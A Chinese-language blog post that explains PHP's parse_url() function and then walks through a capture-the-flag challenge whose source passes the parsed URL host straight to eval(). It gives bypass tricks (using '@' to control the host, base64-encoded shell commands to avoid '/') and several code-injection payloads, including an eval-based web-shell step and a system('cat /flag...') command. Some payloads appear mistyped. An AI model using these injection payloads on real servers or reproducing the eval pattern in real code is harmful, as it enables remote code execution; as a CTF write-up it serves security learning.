parse_url()

作者 by Yichen / 2023-08-11 / 暂无评论 / 29 个足迹

作用:解析URL,返回其组成部分
语法:parse_url ( string $url [, int $component = -1 ] )
参数:
url:要解析的 URL。无效字符将使用 _ 来替换。
component:
指定 PHP_URL_SCHEME、 PHP_URL_HOST、 PHP_URL_PORT、 PHP_URL_USER、 PHP_URL_PASS、 PHP_URL_PATH、PHP_URL_QUERY 或 PHP_URL_FRAGMENT 的其中一个来获取 URL 中指定的部分的 string。 (除了指定为PHP_URL_PORT 后,将返回一个 integer 的值)。

使用实例
1684218859984-bdf2b2c3-3f4d-45a6-aa9b-89063f67daee.png

<?php
$url = "http://www.baidu.com/path.txt"; 
echo $url.'</br>';
$parts = parse_url($url);  
var_dump($parts);

执行后可以看到该函数对url的解析方式
1684218956611-6bfb3408-9bb8-4f24-8a7b-1b4a2f3a75d0.png
下面主要看一下绕过:
1684219648672-09e05d3b-e3fe-403e-aaee-affa76f7a527.png
1.(使用@来更改其中的host使其可控)但如图可知无法在host中传入‘/’,可用echo 'Y2F0IC8xX2YxYWdfMXNfaDNyZQ=='|base64 -d类似方法绕过;(注:host中无法直接传入变量,如http://123@_POST[1]@后的字符会被认为是null)
2.(使用:使path可控)因为函数会自动修复传入的网址,所以如http:php://fillter这样的网址传入函数后他认为host(http://后的字符)为空而php://fillter就成为了它的path值,如此相当于path也可控
下面来看一道例题
(ctfshow周末挑战第一关)
源码如下:
<?php

/*

-- coding: utf-8 --

@Author: h1xa

@Date: 2023-05-10 09:52:06

@Last Modified by: h1xa

@Last Modified time: 2023-05-10 10:58:34

@email: h1xa@ctfer.com

@link: https://ctfer.com

*/

$data = parse_url($_GET['u']);

eval($data['host']);
显然根据上文结论,传入”u=http://127.0.0.1@echols;“可以执行屏幕截图 ![1684220263997-eaaa3950-3ab3-4ce5-b3d8-0282db65effc.png
但是查看文件后发现这里啥也没有,考虑在根目录,但是host不能接受/符号,曲线救国一下:?u=http://127.0.0.1@eval($POST_['w']);使用一下eval!1684221045957-f3fd82bf-4c0f-4b84-b6e0-5e1d3ade432e.png
找到flag直接cat就行(使用a=system('cat /flag_is_here.txt');)根目录文件名前要有“/”

独特见解